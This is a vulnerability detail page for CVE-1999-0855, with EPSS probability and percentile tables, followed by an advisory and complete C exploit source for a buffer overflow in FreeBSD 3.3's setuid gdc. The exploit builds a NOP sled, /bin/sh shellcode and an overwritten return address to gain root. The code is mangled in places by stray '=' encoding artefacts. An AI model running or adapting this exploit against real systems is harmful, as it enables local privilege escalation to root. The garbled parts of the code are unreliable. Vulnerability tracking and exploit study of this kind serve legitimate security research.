CVE-1999-0855 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.96%	–	–
2022-03-13	–	–	1.96%	–	–
2022-04-03	–	–	1.96%	–	–
2022-07-31	–	–	1.96%	–	–
2023-02-26	–	–	1.96%	–	–
2023-03-12	–	–	–	0.05%	–
2024-03-31	–	–	–	0.05%	–
2024-06-02	–	–	–	0.05%	–
2024-06-30	–	–	–	0.05%	–
2024-11-10	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-01-19	–	–	–	0.05%	–
2025-03-18	–	–	–	–	0.41%
2025-03-30	–	–	–	–	0.41%
2025-04-06	–	–	–	–	0.41%
2025-04-15	–	–	–	–	0.41%
2025-04-15	–	–	–	–	0.41,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	56%
2022-03-13	57%
2022-04-03	77%
2022-07-31	78%
2023-02-26	79%
2023-03-12	11%
2024-03-31	12%
2024-06-02	13%
2024-06-30	14%
2024-11-10	15%
2025-01-19	16%
2025-01-19	16%
2025-03-18	59%
2025-03-30	58%
2025-04-06	59%
2025-04-15	6%
2025-04-15	6%

// source: https://www.securityfocus.com/bid/834/info There is a buffer overflow vulnerability known to be present in the version of gdc shipped with the 3.3-RELEASE version of FreeBSD. By default, only users in group wheel have execute access to gdc. The overflow occurs when the argument passed along with the -t flag (time) exceeds its predefined buffer length. It is possible to then corrupt the stack and alter the flow of execution (and execute arbitrary code). With gdc setuid root by default, this can lead to a local root compromise if exploited by users who have or gain access of or belong to the wheel group (or trusted gated group). /* * gdc exploit for Freebsd-3.3 yields euid=0(root) * by default, only group wheel (or whatever your trusted gated group is)= * and root can run gdc * Brock Tellier btellier@usa.net */ #include <stdio.h> char shell[] = /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 4093; char buf[bsize]; int eip = 0xbfbfdb65; /* works for me */ if (argv[1]) { = offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\= n"); fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsi= ze); = for ( x = 0; x < 937; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); = for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); = buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize - 1]='\0'; execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL); }